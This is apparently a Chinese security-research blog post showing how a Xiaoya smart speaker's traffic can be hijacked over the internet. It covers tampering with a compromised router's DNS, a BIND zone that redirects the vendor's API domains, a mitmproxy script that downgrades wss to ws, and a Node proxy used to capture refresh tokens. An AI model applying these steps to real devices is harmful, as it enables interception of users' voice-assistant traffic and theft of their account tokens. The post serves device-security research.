Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

公网环境下的利用

0x00 前言

在上一篇文章中,我们已经通过热点网络的方式验证了本地网络环境下的降级攻击,通过修改电脑hosts文件的方式,将音箱通信的关键域名解析到本地,从而实现对流量的窃听与篡改。

现在,我们将目标瞄准公网,模拟一下真实情况下的攻击场景,这里我们假设已经获取了公网上一台连接了小雅音箱的路由器的控制权,一切的攻击由此展开(做这个假设是因为,团队里有小伙伴是做路由器的,打不通是他的问题不是我的问题哈哈,此外我也想不到其他的能进行攻击的方式了。)

0x01 攻击思路

当问题来到公网的时候,情况稍微变得复杂了一些,不同于电脑热点这种热点网关和攻击服务器都在同一设备的情况,我们是无法在路由器上完成全套攻击流程的。所以我们需要:

  1. 一台可用于攻击的云服务器,服务器需要有公网ip,这样才能接收来自路由器的流量。
  2. 将路由器中音箱的流量能转发到攻击服务器中,我采用的方案是DNS劫持。最开始尝试过使用iptables配置转发规则,但是失败了。
  3. 在攻击服务器中,劫持对话相关域名到本地(类似修改hosts文件)。
  4. 还是在攻击服务器中,接收音箱流量,转发到真正的服务器,修改返回包,转发回音箱。持续监听流量。

0x02 篡改路由器DNS

步骤1:打开ssh

模拟的条件是一台已经攻陷的路由器,可以通过ssh远程登录上去修改DNS,但我这台路由器并没有开启ssh登录,所以先配置一下开启ssh登录(自欺欺人了属于是。)

我用的是华硕路由器 ,通过192.168.10.1登录到路由器管理界面,在系统管理-系统设置-服务中启用ssh,为了安全起见选择LAN only。然后就可以通过ssh连接路由器了,连接的用户名和密码与登录路由器管理界面的一致。

1
ssh -p 7959 admin@192.168.10.1 #默认连接22端口,因为我是指定的7959端口,所以需要通过-p指定

image-20240325112632103

步骤2:修改DNS

不同设备的DNS服务运行方式会有不同,常见的有dnsmasqsystemctlbind等,可以在路由器上一个个试一下,哪个能运行就用哪个,这里我asus路由器上运行的时dnsmasq所提供的dns服务。

dnsmasq的配置文件存放在/etc/dnsmasq.conf,在配置文件中添加server=你的服务器IP,来指定DNS服务器地址,然后service restart_dnsmasq重启DNS服务。但是,重启服务后发现一个很尴尬的点,再去检查/etc/dnsmasq.conf,发现添加的内容没有了,猜测dnsmasq.conf是由其他更上层生成的,直接修改并不能起作用。然后就是各种尝试了,试了各种不同的修改DNS方式,但都不行,最后猛然一想,可能问题还是出在dnsmasq.conf上。

再仔细读一下dnsmasq.conf的配置文件,从中找到了直接指定DNS服务器无法生效的答案。路由器并没有使用/etc/resolv.conf文件中的信息,而是使用/tmp/resolv.dnsmasq这个文件的信息作为DNS服务器的来源。这里说明一下,/etc是软连接到/tmp/etc的,所以其实一切的操作都发生在/tmp中。

image-20240414183411647

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pid-file=/var/run/dnsmasq.pid
user=nobody
bind-dynamic
interface=br0
interface=pptp*
no-dhcp-interface=pptp*
no-resolv #这个选项指示dnsmasq不使用/etc/resolv.conf文件中的DNS服务器信息。
servers-file=/tmp/resolv.dnsmasq #这个选项告诉dnsmasq使用/tmp/resolv.dnsmasq这个文件作为DNS服务器的来源。要更改DNS服务器,应该查看或修改这个文件中的内容,而不是/etc/resolv.conf。
no-poll
no-negcache
cache-size=1500
min-port=4096
domain=lan
expand-hosts
bogus-priv
domain-needed
local=/lan/
dhcp-range=lan,192.168.10.2,192.168.10.254,255.255.255.0,86400s
dhcp-option=lan,3,192.168.10.1
dhcp-option=lan,15,lan
dhcp-option=lan,252,"\n"
dhcp-authoritative
dhcp-name-match=set:wpad-ignore,wpad
dhcp-ignore-names=tag:wpad-ignore
script-arp
conf-dir=/jffs/configs/dnsmasq.d

修改/tmp/resolv.dnsmasqnameserver为自己的服务器IP,如果权限不够就chmod 777,或者只加对应的权限,都行,然后service restart_dnsmasq来重启DNS服务。

0x03 DNS服务器

这里我们将使用BIND(Berkeley Internet Name Domain)作为我们的DNS服务程序,它是最广泛使用的DNS服务器软件之一,功能强大且配置灵活。在进行配置之前,我们首先明确我们的目标,我们需要将域名api.xiaoyastar.comxvstc.xiaoyastar.com劫持到本地,同时对于其他查询,正常向上递归查询即可。在下面的演示中,我使用的服务器为腾讯云轻量服务器,系统是ubuntu 20.04

步骤1:安装BIND

  1. 安装BIND

    1
    sudo apt install bind9 bind9-utils bind9-doc dnsutils

步骤2:配置BIND

BIND的主配置文件是/etc/bind/named.conf,它包括了一些其他配置文件的引用。对于简单的DNS服务器,我们主要需要编辑的文件是/etc/bind/named.conf.options(设置DNS选项)和/etc/bind/named.conf.local(定义你的域)。

  1. 配置DNS选项

    编辑named.conf.options文件,在其中配置DNS转发器(如果需要通过另一个DNS服务器解析非本地域名)和允许查询的客户端。

    1
    sudo vim /etc/bind/named.conf.options

    options块中,你可以添加以下内容:

    1
    2
    3
    4
    5
    6
    7
    forwarders {
    114.114.114.114;
    8.8.8.8;
    8.8.4.4;
    };
    listen-on port 53 { any; };
    allow-query { any; };

    这里,forwarders指的是当本地DNS服务器无法解析一个域名时,查询将被转发到这些上游DNS服务器(114 DNS或者Google DNS)。allow-query { any; };表示允许任何人查询这个DNS服务器(不加这条DNS服务器会拒绝用户的DNS请求),当然你也可以仅允许特定的ip来访问你的DNS服务器。

  2. 定义本地域(如果需要):

    如果你打算使用这个DNS服务器解析本地(私有)域名,或者劫持特定域名到服务器本地,都可以通过定义本地域来实现,这里以api.xiaoyastar.com为例,xvstc.xiaoyastar.com也遵循相同的配置方案。

    /etc/bind/named.conf.local文件中配置这些域名。

    1
    sudo vim /etc/bind/named.conf.local

    添加一个区域(zone)定义来指定你的域和区域数据文件:

    1
    2
    3
    4
    zone "api.xiaoyastar.com" IN {
    type master;
    file "/etc/bind/db.api.xiaoyastar.com";
    };

    然后,我们需要创建并编辑区域数据文件/etc/bind/db.api.xiaoyastar.com,定义域名到IP地址的映射。

步骤3:配置区域文件

db.api.xiaoyastar.com为例,我们需要为指定的域创建区域记录:

1
2
3
4
5
6
7
8
9
10
11
12
$TTL    604800
@ IN SOA api.xiaoyastar.com. root.api.xiaoyastar.com. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS api.xiaoyastar.com.

; address records
@ IN A 11.22.33.44(这里填写你的服务器公网ip,请注意,不要写127.0.0.1)

在这个文件中,我们可以定义A记录(指向IP地址)、CNAME记录(别名)等。

步骤4:检查配置并重启BIND

  1. 使用named-checkconf工具检查named配置文件的语法是否有误:

    1
    sudo named-checkconf
  2. 使用named-checkzone检查区域文件:

    1
    sudo named-checkzone api.xiaoyastar.com /etc/bind/db.api.xiaoyastar.com
  3. 如果一切正常,重启BIND

    1
    sudo systemctl restart bind9

步骤5:更新腾讯云安全组规则

  • 为了让外部请求能够到达你的DNS服务器,确保在腾讯云控制台的安全组规则中开放53端口(UDP和TCP)。或者直接选择开放全部协议与全部端口。

image-20240329100151616

步骤6:确认服务状态

首先查看bind运行状态,显示绿色的active表示运行正常。

1
sudo systemctl status bind9

image-20240329102232732

然后再通过nslookup命令来查看解析是否正常,主要测试域名是否能正常解析以及特定域名是否能成功劫持到服务器本地,图中打码的位置是我的DNS服务器IP地址。如果无法正常解析的话,可以通过sudo systemctl restart bind9来重新启动服务再进行尝试,我有几次就是无法正常服务,通过重启服务后解决的。

image-20240329102602521

此外有一个注意的点是,安装完bind9后,它会把自己写入系统启动程序,这样你每次重启后它都是默认开启的(云服务器最好不要这样,至于为什么最后有说),通过sudo systemctl disable bind9可以关闭掉自启动,但是在关闭后,会发现下次在启动bind9时系统会提示Failed to start bind9.service: Unit bind9.service not found,这时需要通过sudo systemctl start named来启动bind9,之后查看状态和关闭也都是用named而不是bind9,应该改一下配置文件也能改回bind9,但是我觉得没必要我就没做了。

0x04 mitmproxy中间人代理

mitmproxy是一个强大的中间人代理工具,支持多种代理模式,常见的有正向代理反向代理透明代理socks代理等,具体选择哪种代理模式还是得根据具体场景分析。就本例而言,我们已经通过DNS劫持将设备的流量劫持到了服务器本地,我们希望能对流量:

  1. 修改http请求的response body。
  2. 对流量进行静默监听,让设备与服务器进行通信。
  3. 尽量不做额外的设置,使用流量指定的host作为转发地址。

综合考虑以上几点,使用透明代理是比较合适的。在启用mitmproxy透明代理模式前,我们还需进行一些设置。在/etc/sysctl.conf中,将下面三行加入进去,或者分别找到其对应的位置,取消掉其注释。

我最开始也是觉得使用透明代理是更符合直觉也是符合逻辑的代理方式,毕竟在进行劫持之后,流量的dst指向了我的服务器,如果是正向代理的话,我觉得需要再进行流量的重定向,而透明模式可以自动重定向。但是实际使用中,我发现如果开启透明代理的话,透明代理压根没法抓到流量,反而是正向代理模式工作的很好,也可以进行流量重定向,直接执行mitmproxy默认的就是正向代理模式。

1
2
3
net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1
net.ipv4.conf.all.send_redirects = 0

启用IP转发基本上赋予了你的计算机路由器的功能。这意味着它可以决定如何最佳地将数据包从一个网络接口转发到另一个,即使这些数据包并不是最终发送给本机的。

mitmproxy作为透明代理,其核心功能之一就是作为客户端和服务器之间通信的中间人。为了让mitmproxy能够捕获、检查并可能修改经过的流量,系统需要将原本可能不会发送到代理服务器的数据包转发到mitmproxy。这正是启用IP转发所实现的。

ICMP(Internet Control Message Protocol)重定向报文是ICMP协议的一部分,用于网络层的错误处理和诊断。ICMP重定向报文特别用于指示路由器发现了到达目标地址的更优路径,并通知发送方(通常是另一台路由器或主机)更新其路由表,以使用这个更优的路径。这种机制使得网络能够更加灵活地对拓扑变化作出响应,优化数据包的传输路线。

通过启用这三个设置,可以让流量无缝地通过代理。此外,这三个设置并不会对设备的正常通信造成影响,在完成实验前,一直开着也没关系,没必要每次都在命令行中临时启用。

开启mitmproxy后,还需要在mitmproxy中对流量进行处理,将获取wss长连接的返回包篡改为ws连接,这里使用的脚本和之前在本地实验时候使用的一样,监听80端口,然后转发流量到mitmproxy中即可。下面是使用的脚本,通过mitmproxy -s modify_replace.py即可启用脚本,随后经过脚本的流量都会自动化地被脚本处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# mitmproxy流量处理脚本modify_replace.py
from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
# 检查请求的URL是否为特定开头
if flow.request.pretty_url.startswith("http://api.xiaoyastar.com/smart-os-ws-register/register/service/get"):
# 确保响应体存在且为JSON格式
if flow.response and "application/json" in flow.response.headers.get("Content-Type", ""):
# 将响应体从字节转换为字符串
original_content = flow.response.get_text()
# 替换"wss://"为"ws://"
modified_content = original_content.replace("wss://", "ws://")
# 将修改后的内容设置回响应体
flow.response.set_text(modified_content)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 流量监听劫持脚本attack.ts
const httpProxy = require("http-proxy")

// 设置中间人代理
const transponder = httpProxy.createProxyServer()
const middle = "http://127.0.0.1:8080" //mitmproxy

function printCurrentTime() {
const now = new Date(); // 创建一个新的Date对象
console.log(now.toString()); // 打印当前时间
}

// 发送到mitmproxy
function transpose (req: any, res: any, head?: Buffer) {
printCurrentTime();
console.log(req.method, "http(s)://"+req.headers.host+req.url, "HTTP/"+req.httpVersion)
if (head === undefined) {
transponder.web(req, res, {
target: middle,
})
} else {
transponder.ws(req, res, head, {
target: middle,
})
}
}

// http 代理
import * as http from "http"
const http_proxy = http.createServer()
http_proxy.on("request", transpose)
http_proxy.on("upgrade", transpose)
http_proxy.listen(80, "0.0.0.0", function() {
console.log('HTTP proxy server is running')
})

具体运行步骤,先运行mitmproxy -s modify_replace.py,再执行sudo node attack.js,其中attack.js通过tsc attack.ts生成,这一过程在上一篇博客中有提到。

0x05 最终效果

最终在mitmproxy中,可以抓取到音箱的通信流量,如下图:

image-20240414181854523

这里比较重要的是中间的refresh-token那条流量,因为之后的攻击需要建立在token的基础上,点开流量,可以查看该条流量对应的具体信息,按q可以回到上一界面。

image-20240414182041640

0x06 one more thing

如果你是使用国内的腾讯云、阿里云提供的云服务器去搭建的DNS劫持服务器,务必严格限制使用的时间,做完实验就赶紧关了,不要把它做成一个公用DNS服务器的样子,否则你就会收到像下图一样的消息,腾讯云在检测到你具备对外DNS解析能力之后,会先给你发一个警告通知,在发完通知的24小时内关闭DNS服务都是来得及的,但我当时没看到通知,然后第二天直接被封停了。
image-20240401150215757

这里要说明的是,国内是不允许个人用户去搭建DNS服务器的,我在收到腾讯云的禁令之后,通过工单向客服去反应了DNS服务器被封禁的事情,并且表示这个DNS服务器只有我自己用,并不存在商用情况,客服让我签署了一份违规整改书并且让我用技术手段去配置一下服务器,让它只为我来服务,然后这事就算这么过去了。

相关政策法规要求:

《电信业务分类目录》(2015 版)已将互联网域名递归解析服务纳入电信业务(代号是 B26-1),即从事域名递归服务需获得该业务种类的增值电信业务许可。

1、未办理经营许可证不得从事互联网域名解析服务业务。 如贵司(您)有涉及此类业务,需要办理“编码和规程转换业务许可证”,具体办理方式可以咨询您所在省通信管理局。 《电信业务经营许可管理办法》 第四十六条:违反本办法第十六条第一款、第二十八条第一款规定,擅自经营电信业务或者超范围经营电信业务的,依照《中华人民共和国电信条例》第六十九条规定予以处罚,其中情节严重、给予责令停业整顿处罚的,直接列入电信业务经营失信名单。 工业和信息化部《互联网域名管理办法》第三十六条:提供域名解析服务,应当遵守有关法律、法规、标准,具备相应的技术、服务和网络与信息安全保障能力,落实网络与信息安全保障措施,依法记录并留存域名解析日志、维护日志和变更记录,保障解析服务质量和解析系统安全。涉及经营电信业务的,应当依法取得电信业务经营许可。 2、腾讯云不得为未依法取得经营许可证或者履行非经营性互联网信息服务备案手续的单位或者个人提供接入或者代收费等服务。 《电信业务经营许可管理办法》:第二十四条 提供接入服务的增值电信业务经营者应当遵守下列规定:(三)不得为未依法取得经营许可证或者履行非经营性互联网信息服务备案手续的单位或者个人提供接入或者代收费等服务。 如您(单位)不涉及从事互联网域名解析服务业务,建议您调整服务器的安全组策略,入站规则禁用53端口。

除了不能配置DNS服务以外,配置境外访问代理、对其他服务端口攻击行为等等都是不被允许的,但根据我的经验,只要别一直开着,实验做完就关的话就不会有问题。

0x07 references

gpt4

DNS服务器搭建与配置

Transparent Proxying

部分中间人攻击手法简介

重新夺回对 /etc/resolv.conf 的控制权

评论